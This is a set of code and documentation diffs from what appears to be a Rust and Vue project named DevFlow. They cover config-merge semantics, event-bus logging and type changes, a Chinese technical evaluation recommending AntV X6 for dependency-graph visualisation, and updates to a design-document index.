/// - 节点级为 `Null` 的语义是「显式置空」,按非 Object 规则覆盖(直接返回 Null /// - 节点级为 `Null` 时跳过(保留全局配置),对应语义「节点未指定该配置」。
/// 若调用方希望「跳过节点配置」,应在构造 Dag 时不写入该 keynode_configs 缺失即用全局) /// 若调用方希望「显式置空」,应在构造 Dag 时不写入该 keynode_configs 缺失即用全局)
/// 而非传 JSON null。
/// ///
/// 用途DagExecutor 构造 NodeContext 时 `deep_merge(initial_config, node_config)` /// 用途DagExecutor 构造 NodeContext 时 `deep_merge(initial_config, node_config)`
/// 让节点定义里写的 NodeDef.config 优先于 run_workflow 传入的全局 config。 /// 让节点定义里写的 NodeDef.config 优先于 run_workflow 传入的全局 config。
@@ -187,8 +188,15 @@ pub fn deep_merge(global: &serde_json::Value, node: &serde_json::Value) -> serde
} }
Value::Object(merged) Value::Object(merged)
} }
// 非两端 Object节点级覆盖全局级含 Null、标量、数组 // 节点级为 Null → 保留全局配置(不覆盖
_ => node.clone(), (_, Value::Null) => global.clone(),
// 显式覆盖剩余变体,防止新变体被 _ 吞没
(Value::Number(_), _)
| (Value::String(_), _)
| (Value::Array(_), _)
| (Value::Bool(_), _)
| (Value::Null, _)
| (Value::Object(_), _) => node.clone(),
} }
} }
@@ -226,11 +234,10 @@ mod deep_merge_tests {
} }
#[test] #[test]
fn missing_node_config_treated_as_noop() { fn null_node_config_keeps_global() {
// DagExecutor 对缺失 key 的节点不调 deep_merge(直接用 global此处覆盖语义对照 // 节点级为 Null → 保留全局(不覆盖),区别于「缺失 key 不调 deep_merge」。
// 若强行把缺失视作 Null应覆盖显式空语义与「缺失」不同缺失走 if let Some 分支)。
let global = json!({"a": 1}); let global = json!({"a": 1});
assert_eq!(deep_merge(&global, &json!(null)), json!(null)); assert_eq!(deep_merge(&global, &json!(null)), global);
} }
#[test] #[test]

View File

@@ -30,8 +30,10 @@ impl EventBus {
/// 发送事件 /// 发送事件
pub async fn send(&self, event: WorkflowEvent) { pub async fn send(&self, event: WorkflowEvent) {
// broadcast::send 是同步的,忽略接收者已关闭的错误 // broadcast::send 是同步的接收者已关闭时记录警告
let _ = self.sender.send(event); if let Err(e) = self.sender.send(event) {
tracing::warn!("EventBus 发送事件失败: {}", e);
}
} }
/// 订阅事件 /// 订阅事件

View File

@@ -3,7 +3,7 @@
use std::collections::HashMap; use std::collections::HashMap;
use df_types::events::WorkflowEvent; use df_types::events::WorkflowEvent;
use df_types::types::NodeId; use df_types::types::{ExecutionId, NodeId};
use crate::conditions::ConditionEngine; use crate::conditions::ConditionEngine;
use crate::dag::Dag; use crate::dag::Dag;
@@ -18,7 +18,7 @@ pub struct DagExecutor {
/// 节点状态机 /// 节点状态机
state_machine: StateMachine, state_machine: StateMachine,
/// 工作流执行 ID由调用方传入下沉到每个 NodeContext /// 工作流执行 ID由调用方传入下沉到每个 NodeContext
execution_id: String, execution_id: ExecutionId,
} }
impl DagExecutor { impl DagExecutor {
@@ -26,7 +26,7 @@ impl DagExecutor {
/// ///
/// `execution_id` 为本次工作流执行的唯一标识,会下沉到每个节点的 NodeContext /// `execution_id` 为本次工作流执行的唯一标识,会下沉到每个节点的 NodeContext
/// 用于节点内的事件关联、审计追踪等。 /// 用于节点内的事件关联、审计追踪等。
pub fn new(event_bus: EventBus, execution_id: String) -> Self { pub fn new(event_bus: EventBus, execution_id: ExecutionId) -> Self {
Self { Self {
event_bus, event_bus,
state_machine: StateMachine::new(), state_machine: StateMachine::new(),

View File

@@ -3,7 +3,7 @@
use async_trait::async_trait; use async_trait::async_trait;
use serde::{Deserialize, Serialize}; use serde::{Deserialize, Serialize};
use df_types::types::NodeId; use df_types::types::{ExecutionId, NodeId};
use super::eventbus::EventBus; use super::eventbus::EventBus;
use super::state::StateMachine; use super::state::StateMachine;
@@ -18,7 +18,7 @@ pub struct NodeContext {
/// 节点配置参数 /// 节点配置参数
pub config: serde_json::Value, pub config: serde_json::Value,
/// 工作流执行 ID /// 工作流执行 ID
pub execution_id: String, pub execution_id: ExecutionId,
/// 事件总线 /// 事件总线
pub event_bus: EventBus, pub event_bus: EventBus,
/// 节点状态机(用于检查取消状态) /// 节点状态机(用于检查取消状态)

View File

@@ -15,6 +15,17 @@ use std::sync::{Arc, Mutex};
use df_types::types::{NodeId, NodeStatus}; use df_types::types::{NodeId, NodeStatus};
/// 节点状态机 /// 节点状态机
///
/// # ⚠️ 并发安全警告
///
/// `state_machine` 方法(`get`、`transition`、`set_running`、`set_completed`、
/// `set_failed`、`set_cancelled`、`snapshot`、`is_cancelled`)内部持锁
/// `self.states.lock()`**不得在 `.await` 期间持锁**。
/// 若在异步上下文中调用,请确保获取结果后立即释放锁(即不要将锁跨越
/// `.await` 点)。当前所有方法均为同步且及时释放,符合此规则。
///
/// 共享语义:内部用 `Arc<Mutex<HashMap>>``clone()` 为浅拷贝Arc 引用计数 +1
/// 所有 clone 共享同一底层 HashMap。
#[derive(Debug, Clone)] #[derive(Debug, Clone)]
pub struct StateMachine { pub struct StateMachine {
/// 节点状态映射Arc 共享clone 浅拷贝同一 HashMap /// 节点状态映射Arc 共享clone 浅拷贝同一 HashMap

View File

@@ -0,0 +1,328 @@
# AntV X6 技术调研报告与引入计划
> 创建: 2026-06-30 | 状态: 调研完成,待决策
> 调研对象: AntV X6图编辑与可视化引擎
> 数据来源: GitHub APIantvis/X6+ npm registry 实时查询2026-06-30
> 关联任务: `[子4] 前端:依赖关系图可视化`、`[子2] df-project依赖图构建`
---
## 一、为什么调研 X6
DevFlow 正在推进 **多工程/多仓库项目组织** 功能(任务列表中的父任务「多工程/多仓库项目组织」拆出 5 个子任务)。其中:
- `[子2]` 后端需构建 `ModuleDependencyGraph`(工程间依赖图数据结构)
- `[子4]` 前端需 **依赖关系图可视化**(节点 = 工程,边 = 依赖关系,支持交互)
当前 DevFlow 前端(`src/`**零图可视化依赖**(已 grep 确认:无 d3 / vis-network / cytoscape / antv / x6 / jointjs / reactflow。需要选型一个图引擎承担可视化层。
X6 是这次选型的重点候选,本报告评估其是否适合 DevFlow。
---
## 二、X6 是什么
**AntV X6** 是蚂蚁集团 AntV 数据可视化团队开源的 **图编辑与可视化引擎**Graph Editing and Visualization Engine
- GitHub: https://github.com/antvis/X6
- 文档: https://x6.antv.antgroup.com/
- License: **MIT**
- 定位: 专注 **节点-边图** 的交互式编辑与可视化
与纯图表库ECharts/G2的区别X6 不是「把数据画成图」,而是「让用户在画布上编辑图」——拖拽节点、连线、布局、撤销重做、导出。这正是依赖图编辑器需要的形态。
---
## 三、关键数据(实时校准,非记忆)
> ⚠️ 网上多数博客仍停留在「v2.x」**已过时**。以下为 2026-06-30 npm + GitHub API 实测。
### 3.1 版本现状
| 通道 | 版本 | 说明 |
|---|---|---|
| **latest** | **3.1.7** | 当前正式稳定版v3 主线) |
| beta | 3.1.4-beta.1 | 预发布通道 |
| @antv/x6@1.35.1 | 1.35.1 | v1 旧线(仅维护,勿新用) |
**结论**:新项目直接上 **v3.1.7**,不要从 v1/v2 起步。v3 是当前活跃主线。
### 3.2 仓库活跃度
| 指标 | 数值 |
|---|---|
| Stars | 18.3k |
| Forks | 2.5k |
| Network | 1886 |
| 最近 release | 持续迭代2026 年仍有多次 release |
| 维护状态 | **活跃** |
### 3.3 最近 release 亮点(佐证活跃度)
近期 PR 修复了:
- 节点事件无法冒泡到连线的问题(#4888
- stencil 插件搜索后高度自适应(#4975
说明交互细节仍在持续打磨,非弃维项目。
---
## 四、核心能力清单
| 能力 | 说明 | DevFlow 是否用得到 |
|---|---|---|
| **节点系统** | 内置矩形/圆形/椭圆/多边形,支持 HTML/React/Vue 自定义节点 | ✅ 工程节点用 Vue 自定义 |
| **边系统** | 直线/折线/曲线/自定义路由,箭头/标签/路径动画 | ✅ 依赖边带类型标签API调用/类库/MQ... |
| **交互** | 拖拽、缩放、框选、连线、对齐线、撤销/重做 | ✅ 用户可手动调整布局 |
| **布局算法** | dagre层次/ force力导向/ grid / circular | ✅ dagre 天然适合依赖图 |
| **插件生态** | 小地图、对齐线、框选、变换、键盘、历史、剪贴板、上下文菜单 | ✅ 小地图(大图概览)+ 历史(撤销) |
| **数据格式** | JSON graph data导入/导出 | ✅ 与后端 ModuleDependencyGraph 直接映射 |
| **事件系统** | 完整节点/边/画布事件 | ✅ 点击节点跳转工程详情 |
| **导出** | PNG / SVG / JPG | ⚠️ 锦上添花 |
---
## 五、技术特性
### 5.1 架构
- **框架无关**:核心纯 TypeScript不绑定 React/Vue
- **渲染引擎**SVG默认/ Canvas大图性能更优
- **插件化**功能按需引入tree-shaking 友好v3 强化)
### 5.2 生态包v3 延续插件化)
| 包 | 用途 | DevFlow 需要 |
|---|---|---|
| `@antv/x6` | 核心引擎 | ✅ 必装 |
| `@antv/x6-plugin-selection` | 框选/点选 | ✅ |
| `@antv/x6-plugin-snapline` | 对齐线 | ✅ |
| `@antv/x6-plugin-history` | 撤销/重做 | ✅ |
| `@antv/x6-plugin-minimap` | 小地图 | ✅ 大图必备 |
| `@antv/x6-plugin-keyboard` | 键盘快捷键 | ⚠️ 可选 |
| `@antv/x6-plugin-clipboard` | 剪贴板 | ⚠️ 可选 |
| `@antv/x6-plugin-transform` | 缩放/旋转 | ⚠️ 可选 |
| `@antv/x6-plugin-scroller` | 画布滚动 | ✅ 大图画布 |
| `@antv/x6-plugin-export` | 图片导出 | ❌ 暂不需要 |
| `@antv/x6-plugin-stencil` | 元素面板(拖入) | ⚠️ 可视化编辑器才需要 |
| `@antv/x6-vue-shape` | Vue 自定义节点 | ✅ 工程节点用 Vue 组件 |
### 5.3 与 DevFlow 技术栈兼容性
| 维度 | DevFlow | X6 要求 | 兼容 |
|---|---|---|---|
| 前端框架 | Vue 3.5 | 框架无关 + vue-shape | ✅ |
| UI 库 | Arco Design | 无冲突 | ✅ |
| 构建 | Vite 6 | 支持 | ✅ |
| TS | 5.6 | 原生 TS | ✅ |
| 运行时 | Tauri WebView | 标准 DOM API | ✅ |
| 包管理 | bun.lock / npm | 均支持 | ✅ |
**无兼容性阻塞。**
---
## 六、竞品对比
| 库 | 定位 | 编辑能力 | Vue 支持 | 布局算法 | 体积 | 适合 DevFlow |
|---|---|---|---|---|---|---|
| **AntV X6** | 图编辑引擎 | ⭐⭐⭐⭐⭐ 全栈 | 官方 vue-shape | 内置 dagre/force | 中 | ✅ **最佳** |
| ReactFlow | React 图编辑 | ⭐⭐⭐⭐ | 需包装(非原生) | 需配 dagre | 中 | ❌ React 栈 |
| vis-network | 图可视化 | ⭐⭐⭐ | 手动 | 内置 | 小 | ⚠️ 编辑弱 |
| cytoscape.js | 图分析+可视化 | ⭐⭐⭐ | 手动 | 插件 | 中 | ⚠️ 偏分析 |
| d3 | 通用可视化 | ⭐⭐ 手搓 | 手动 | 手搓 | 大 | ❌ 工作量大 |
| G6 | 关系图谱分析 | ⭐⭐⭐⭐ | 手动 | 内置 | 中 | ⚠️ 偏分析非编辑 |
**结论**DevFlow 需要「可编辑依赖图」X6 在编辑能力 + Vue 原生支持 + 布局算法三方面综合最优。G6 是同门兄弟但偏「图谱分析」(大图布局/聚类X6 偏「图编辑」人机交互DevFlow 场景是后者。
---
## 七、DevFlow 落地场景评估
### 7.1 主场景多工程依赖关系图P0立即落地
对应任务 `[子4]`
```
[DevFlow 工程] ──API调用──> [u-talk 工程]
├──类库引入──> [df-types crate]
└──共享资源──> [MySQL]
```
- 节点 = module工程/crateVue 自定义节点展示名称/路径/技术栈
- 边 = module_dependency标签展示 dep_typeAPI调用/类库/MQ/共享资源/自定义)
- 布局 = dagre 层次布局(天然适合依赖关系)
- 交互 = 点击节点跳工程详情、拖拽调整、小地图导航
- 数据源 = 后端 `get_dependency_graph` IPC 返回的图结构
### 7.2 次场景工作流编辑器P1未来
DevFlow 有工作流引擎AiNode/HumanNode/executor未来可做可视化工作流编辑器
- 拖拽节点AI 节点 / 人工节点 / 判断节点)
- 连线定义流转
- 与后端 workflow 定义双向同步
X6 的 stencil 插件(元素拖入面板)正是为这类低代码编辑器设计。
### 7.3 次场景任务依赖图P2
任务有 `depends_on / blocks / relates_to` 关联create_task_link可可视化展示任务拓扑。当前任务列表已有 `list_task_links` / `get_task_tree` 数据基础。
### 7.4 不适用场景
- ai-news纯 HTML/JS无图编辑需求— 不引入
- u-talk / u-desk — 暂无明确图编辑需求,不引入
---
## 八、风险与对策
| 风险 | 影响 | 对策 |
|---|---|---|
| v3 文档站是 SPA离线难爬 | 学习曲线 | 在线阅读 + 官方 examples 仓库对照 |
| v3 相比 v1 有 breaking changes | 迁移成本 | 全新引入,无历史包袱,直接学 v3 |
| 插件多,初次配置繁琐 | 上手成本 | 本计划已列出必装子集(见 §九) |
| 大图性能(>500 节点) | 渲染卡顿 | DevFlow 单项目工程数有限(<50不触瓶颈必要时切 Canvas 渲染 |
| vue-shape 与 Arco 组件协同 | 样式冲突 | 节点用独立样式作用域,避免全局污染 |
| 包体积增加 | 安装包变大 | X6 核心 + 必装插件 gzip 后约 200-300KBTauri 本地资源可接受 |
**无阻塞级风险。**
---
## 九、引入计划
### 9.1 决策点(待人工拍板)
| 项 | 推荐 | 备选 |
|---|---|---|
| 是否引入 X6 | ✅ **引入** | vis-network编辑弱/ 自研 SVG成本高 |
| 版本 | v3.1.7latest | — |
| 落地优先级 | P0 依赖图 → P1 工作流编辑器 | — |
| 引入范围 | 仅 DevFlow 前端 | — |
### 9.2 分阶段实施
#### Phase 0依赖安装与验证0.5 天)
```bash
# 在 DevFlow 前端目录
bun add @antv/x6 @antv/x6-plugin-selection @antv/x6-plugin-snapline \
@antv/x6-plugin-history @antv/x6-plugin-minimap @antv/x6-plugin-scroller \
@antv/x6-vue-shape
```
交付物:
- 依赖装入 `package.json`
- 一个最小 demo 页面3 节点 2 边,验证渲染 + 拖拽 + 缩放)
- 验证 Tauri WebView 下无异常
#### Phase 1依赖关系图组件1.5 天,对接 `[子4]`
前置:`[子2]` 后端 `get_dependency_graph` IPC 完成。
交付物:
- 新建 `src/components/DependencyGraph.vue`
- 封装 X6 Graph 实例生命周期管理mount 初始化、unmount 销毁)
- 数据映射:`ModuleDependencyGraph` → X6 fromJSON
- Vue 自定义节点组件 `ModuleNode.vue`(展示工程名/路径/技术栈图标)
- 边标签展示 dep_type
- dagre 自动布局
- 小地图 + 框选 + 撤销重做
- 事件:点击节点 → emit('select-module', id),父组件跳详情
#### Phase 2集成到项目详情页0.5 天,对接 `[子4]`
交付物:
- 项目详情页新增「依赖图」Tab
- 与工程列表 Tab 并列,数据同源
- 空状态处理(单工程无依赖时提示)
#### Phase 3未来工作流可视化编辑器
不在本次计划范围,待工作流引擎需求明确后再立项。
### 9.3 工程化约定
1. **X6 实例管理**:组件内 `onMounted` 创建,`onBeforeUnmount``graph.dispose()`,避免内存泄漏
2. **类型契约**:后端 `ModuleDependencyGraph`Rust serde→ ts-rs 导出 → 前端 X6 fromJSON 格式转换函数集中放 `src/utils/graphMapper.ts`
3. **样式隔离**:自定义节点用 `<style scoped>`,避免污染 Arco 主题
4. **按需引入**:仅装 §5.2 列出的必装/可选插件,不装 export/stencil暂不需要
### 9.4 验收标准
- [ ] Phase 0demo 页渲染正常Tauri 下无报错
- [ ] Phase 1依赖图组件能渲染 ≥10 个工程节点 + 依赖边dagre 布局自动排布
- [ ] Phase 1拖拽节点、框选、撤销重做、小地图均可用
- [ ] Phase 1点击节点能触发跳转工程详情
- [ ] Phase 2项目详情页「依赖图」Tab 可用,多工程项目展示正确
- [ ] 单工程项目显示友好空状态
---
## 十、快速上手示例Vue 3 + v3
```typescript
// src/utils/x6-setup.ts
import { Graph } from '@antv/x6'
import { Selection } from '@antv/x6-plugin-selection'
import { Snapline } from '@antv/x6-plugin-snapline'
import { History } from '@antv/x6-plugin-history'
import { Minimap } from '@antv/x6-plugin-minimap'
import { Scroller } from '@antv/x6-plugin-scroller'
export function createGraph(container: HTMLElement): Graph {
const graph = new Graph({
container,
background: { color: '#F2F7FA' },
grid: { visible: true, size: 10 },
mousewheel: { enabled: true, modifiers: ['ctrl'], minScale: 0.5, maxScale: 2 },
})
graph.use(new Selection({ enabled: true, rubberband: true }))
graph.use(new Snapline({ enabled: true }))
graph.use(new History({ enabled: true }))
graph.use(new Scroller({ enabled: true, pannable: true }))
graph.use(new Minimap({ enabled: true, width: 200, height: 120 }))
return graph
}
```
```typescript
// 数据映射示例:后端图结构 → X6 fromJSON
function toX6Data(graph: ModuleDependencyGraph) {
return {
nodes: graph.modules.map(m => ({
id: m.id,
shape: 'devflow-module', // 注册的 Vue 自定义节点
x: 0, y: 0, // dagre 布局后重排
data: { name: m.name, path: m.path, stack: m.stack },
})),
edges: graph.dependencies.map(d => ({
source: d.from_module_id,
target: d.to_module_id,
labels: [{ text: d.dep_type }],
})),
}
}
```
---
## 十一、结论与建议
1. **推荐引入** AntV X6 v3.1.7 作为 DevFlow 图可视化层,竞品中综合最优。
2. **首选落地场景**`[子4] 多工程依赖关系图`与当前正在推进的多工程组织功能直接对接ROI 最高。
3. **无兼容性阻塞**技术栈Vue 3 + Vite 6 + Tauri WebView完全适配。
4. **建议批准 Phase 0**0.5 天安装验证),验证通过后推进 Phase 1-22 天)。
5. **暂不引入** u-talk / u-desk / ai-news待有明确图编辑需求再评估。
---
## 相关链接
- 官网: https://x6.antv.antgroup.com/
- GitHub: https://github.com/antvis/X6
- v3 文档: https://x6.antv.antgroup.com/tutorial/about
- Vue shape: https://x6.antv.antgroup.com/tutorial/advanced/react#vuevue-shape 用法)
- DevFlow 关联任务: `[子4] 前端:依赖关系图` / `[子2] df-project依赖图构建`

View File

@@ -35,7 +35,7 @@ DevFlow 使用 SQLite (rusqlite) 作为本地存储引擎。df-storage 负责 SQ
- ID 字段统一使用 `TEXT` (UUID v4) - ID 字段统一使用 `TEXT` (UUID v4)
- 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String) - 时间字段使用 `TEXT` (毫秒时间戳字符串,`now_millis_str()` 返回 String)
- JSON 字段使用 `TEXT` 存储 JSON 字符串 - JSON 字段使用 `TEXT` 存储 JSON 字符串
- 所有写操作统一返回 `df_core::error::Error` 错误类型insert 返 `Result<String>`idupdate/delete 返 `Result<bool>`(是否影响行) - 所有写操作统一返回 `df_types::error::Error` 错误类型insert 返 `Result<String>`idupdate/delete 返 `Result<bool>`(是否影响行)
## update_field 的强制时间戳约束 ## update_field 的强制时间戳约束
@@ -76,4 +76,4 @@ UPDATE ai_conversations SET archived = ?1 WHERE id = ?2
- `crates/df-storage/src/lib.rs` — 存储层入口 - `crates/df-storage/src/lib.rs` — 存储层入口
- `crates/df-storage/src/migrations.rs` — Schema 定义与迁移 - `crates/df-storage/src/migrations.rs` — Schema 定义与迁移
- `crates/df-core/src/error.rs` — 统一错误类型 - `crates/df-types/src/error.rs` — 统一错误类型

View File

@@ -47,8 +47,12 @@
| [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 | | [F-09B-多会话并发设计-2026-06-16.md](./已编号方案/F-09B-多会话并发设计-2026-06-16.md) | F-260616-09 | 🗄 过时(被 F-09 取代) | 06-16 旧版,行号已过期。保留回溯,新设计看 F-09 |
| [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 | | [F-15-上下文管理增强设计-2026-06-16.md](./已编号方案/F-15-上下文管理增强设计-2026-06-16.md) | F-260616-15 | 📐 设计 | ContextManager 分段 / 压缩 / 裁剪 |
| [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 | | [F-260620-01-跨端AIChat-微信小程序-2026-06-20.md](./已编号方案/F-260620-01-跨端AIChat-微信小程序-2026-06-20.md) | F-260620-01 | 📐 草案(灵感 4495fbcd 待晋升) | 微信小程序 ↔ Rust 云后端(df-relay) ↔ DevFlow 桌面端(df-tunnel)实时同步,Rust 选型代码复用 |
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计草案 | F-260620-01 Phase3 实施续篇:三层就绪后如何接线联调(协议统一+桥接方案) |
| [消息级溯源P2-切读方案-2026-06-28.md](./已编号方案/消息级溯源P2-切读方案-2026-06-28.md) | F-260619-04-P2 | ✅ 已落地 | 消息级溯源 P2 一次性切读 + 脚本迁移历史数据 |
| [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 | | [B-03-人工审批响应机制-2026-06-14.md](./已编号方案/B-03-人工审批响应机制-2026-06-14.md) | B-260614-03 | ✅ 已落地(B-03a) | HumanNode execute subscribe/send/select 完整审批链 |
| [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 | | [B-260616-21排查方案-2026-06-16.md](./已编号方案/B-260616-21排查方案-2026-06-16.md) | B-260616-21 | 📐 排查方案 | 工具卡片重复渲染根因(audit 重复 emit Started) + 修复方案 |
| [F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md](./已编号方案/F-260622-01-跨端AIChat-Phase3联调设计-2026-06-22.md) | F-260622-01 | 📐 设计 | 微信小程序跨端联调:云隧道握手 / MCP 工具路由 / DF 事件同步 |
| [消息级溯源P2-切读方案-2026-06-28.md](./已编号方案/消息级溯源P2-切读方案-2026-06-28.md) | — | 📐 设计 | 消息级溯源 Phase 2:切读切换到 ai_messages 视图 |
--- ---
@@ -59,20 +63,30 @@
| 文档 | 状态 | 核心内容 | | 文档 | 状态 | 核心内容 |
|---|---|---| |---|---|---|
| [Agent架构说明-2026-06-14.md](./专项设计/Agent架构说明-2026-06-14.md) | 📐 现状盘点 | Agent 引擎单链 ReAct 能力边界(查实的事实,非构想) | | [Agent架构说明-2026-06-14.md](./专项设计/Agent架构说明-2026-06-14.md) | 📐 现状盘点 | Agent 引擎单链 ReAct 能力边界(查实的事实,非构想) |
| [规格契约自检机制-2026-06-14.md](./专项设计/规格契约自检机制-2026-06-14.md) | 📐 设计待落地 | 活契约(锚点 + AI 自检 + 子代理)取代独立 spec | | [规格契约自检机制-2026-06-14.md](./专项设计/规格契约自检机制-2026-06-14.md) | 🗄 归档(被其他机制覆盖) | 活契约(锚点 + AI 自检 + 子代理)取代独立 spec。**核验(2026-06-28):0 行代码,其核心价值(规格与实现一致性检查)已被 L1 求助协议 + ai_self_review gate 覆盖,归档不实施** |
| [AiNode自审实施方案-2026-06-16.md](./专项设计/AiNode自审实施方案-2026-06-16.md) | ✅ ②-⑤已落地 | AiNode 自审闸门 + verdict DAG 阻断 | | [AiNode自审实施方案-2026-06-16.md](./专项设计/AiNode自审实施方案-2026-06-16.md) | ✅ ②-⑤已落地 | AiNode 自审闸门 + verdict DAG 阻断 |
| [secret下沉与provider注入方案-2026-06-16.md](./专项设计/secret下沉与provider注入方案-2026-06-16.md) | ✅ 方案 B 全量落地 | secret 纯密钥下沉 df-storage | | [secret下沉与provider注入方案-2026-06-16.md](./专项设计/secret下沉与provider注入方案-2026-06-16.md) | ✅ 方案 B 全量落地 | secret 纯密钥下沉 df-storage |
| [patch_file工具设计-2026-06-15.md](./专项设计/patch_file工具设计-2026-06-15.md) | 📐 设计待实施(P0) | AI 局部编辑工具:old_text 精确匹配 + 三层防御 | | [patch_file工具设计-2026-06-15.md](./专项设计/patch_file工具设计-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | AI 局部编辑工具:old_text 精确匹配 + 三层防御 + 三模式(old_text/replace_lines/anchor)。**仅文本(不支持二进制 encoding,合理设计)** |
| [generating状态机加固-2026-06-15.md](./专项设计/generating状态机加固-2026-06-15.md) | 📐 设计 | generating 生命周期状态机(guard 收敛) | | [generating状态机加固-2026-06-15.md](./专项设计/generating状态机加固-2026-06-15.md) | 📐 设计 | generating 生命周期状态机(guard 收敛) |
| [密钥迁移健壮性-2026-06-15.md](./专项设计/密钥迁移健壮性-2026-06-15.md) | 📐 设计未实施 | 空 api_key 不覆盖未迁移态明文密钥 | | [密钥迁移健壮性-2026-06-15.md](./专项设计/密钥迁移健壮性-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | 空 api_key 不覆盖未迁移态明文密钥(provider.rs:104-136 即时迁移补密钥 + 阻断保存) |
| [条件表达式引擎-2026-06-15.md](./专项设计/条件表达式引擎-2026-06-15.md) | 📐 设计(R-PD-3) | ConditionEngine 接线 + 条件边求值 | | [条件表达式引擎-2026-06-15.md](./专项设计/条件表达式引擎-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | ConditionEngine 手写求值器 + JSON Path/嵌套/数组索引/数值比较 + executor 集成 + 前端边条件编辑入口 |
| [工作流脚本执行边界-2026-06-15.md](./专项设计/工作流脚本执行边界-2026-06-15.md) | 📐 设计(R-PD-2) | ScriptNode 任意 shell 执行安全边界 | | [工作流脚本执行边界-2026-06-15.md](./专项设计/工作流脚本执行边界-2026-06-15.md) | ✅ 已落地(2026-06-28 核验) | ScriptNode 命令执行安全边界:白名单/黑名单(env 配置)+ 危险关键词告警 |
| [查询效率优化方案-2026-06-19.md](./专项设计/查询效率优化方案-2026-06-19.md) | 📐 待评审(PERF-260619-01) | SQL 下推 / 精确拉取 / 缓存 / 字段投影 | | [查询效率优化方案-2026-06-19.md](./专项设计/查询效率优化方案-2026-06-19.md) | 📐 待评审(PERF-260619-01) | SQL 下推 / 精确拉取 / 缓存 / 字段投影。**核验:查询能力补全已落地(task/project/idea 均 keyword/order_by/limit/offset),性能优化待评审** |
| [任务推进链实施路径-2026-06-16.md](./专项设计/任务推进链实施路径-2026-06-16.md) | 📐 规划定稿(D-01~04已决) | advance_task 走 df-nodes Node trait,4 阶段路径 | | [任务推进链实施路径-2026-06-16.md](./专项设计/任务推进链实施路径-2026-06-16.md) | 📐 规划定稿(D-01~04已决) | advance_task 走 df-nodes Node trait,4 阶段路径 |
| [推进链阶段2实施路径-2026-06-16.md](./专项设计/推进链阶段2实施路径-2026-06-16.md) | 📐 设计(F-260616-06) | 工作流联动任务推进:task_id + 完成回调 + DAG 模板 | | [推进链阶段2实施路径-2026-06-16.md](./专项设计/推进链阶段2实施路径-2026-06-16.md) | 📐 设计(F-260616-06) | 工作流联动任务推进:task_id + 完成回调 + DAG 模板 |
| [消息拆分存储设计-2026-06-19.md](./专项设计/消息拆分存储设计-2026-06-19.md) | 📐 设计待实施(F-260619-03) | ai_messages 表 + V21 全量迁移 + 三阶段渐进切换(脏标记→双写→切读) | | [消息拆分存储设计-2026-06-19.md](./专项设计/消息拆分存储设计-2026-06-19.md) | ✅ 已落地(2026-06-28 核验) | ai_messages 表 + V21 全量迁移 + 读写全部切到消息表(旧 JSON 列仅作老库兼容回退) |
| [消息级溯源设计-2026-06-19.md](./专项设计/消息级溯源设计-2026-06-19.md) | 📐 设计待实施(F-260619-04) | ChatMessage.id + source_ref/audit/idea 四场景从对话级升级消息级 | | [消息级溯源设计-2026-06-19.md](./专项设计/消息级溯源设计-2026-06-19.md) | ✅ 已落地(2026-06-28 核验) | ChatMessage.id + source_ref/audit/idea 四场景从对话级升级消息级 + P2 切读全部完成 |
| [全局事件数据总线-2026-06-21.md](./专项设计/全局事件数据总线-2026-06-21.md) | 📐 构想定稿待评审 | pub-sub + request-reply + 流式 reply 统一总线:跨模块解耦 / 响应式根治死等 / 跨端透传 | | [全局事件数据总线-2026-06-21.md](./专项设计/全局事件数据总线-2026-06-21.md) | 🟡 部分落地(基建就位,消费者未接) | pub-sub + request-reply + 流式 reply 统一总线。**核验(2026-06-28):基建(AI/工作流两路总线)+ 20+ emit 点双写就位,但真实订阅方/前端镜像/tunnel 透传均未接入(空转)。阶段 2-6 待真实痛点驱动** |
| [三层模型-流程模板与人设体系-2026-06-28.md](./专项设计/三层模型-流程模板与人设体系-2026-06-28.md) | 📐 设计 | 模板→工作流→人设三层架构:流程模板YAML定义、人设AgentPersona数据结构、三层实例化流程 |
| [aichat体验与agent能力系统化重构-2026-06-21.md](./专项设计/aichat体验与agent能力系统化重构-2026-06-21.md) | 📐 设计 | AI Chat 体验 + Agent 能力统一重构:消息模型 / 上下文管理 / 工具路由 |
| [查询能力补全方案-2026-06-21.md](./专项设计/查询能力补全方案-2026-06-21.md) | ✅ 已落地(2026-06-28 核验) | 查询接口能力补全:task/project/idea 均 keyword/order_by/limit/offset 多维动态 WHERE |
| [AST符号解析-设计-2026-06-24.md](./专项设计/AST符号解析-设计-2026-06-24.md) | ✅ Phase1 已落地(2026-06-28 核验) | AST 符号解析:read_symbol 工具已注册(tool_registry.rs:1506-1547)+ 基线测试守护 |
| [插件机制-设计-2026-06-24.md](./专项设计/插件机制-设计-2026-06-24.md) | 📐 设计 | 插件系统:动态加载 / 生命周期 / 权限沙箱 |
| [AI对话目标丢失诊断-2026-06-26.md](./专项设计/AI对话目标丢失诊断-2026-06-26.md) | 📐 诊断 | AI 对话目标丢失根因分析:上下文漂移 / 意图衰减 |
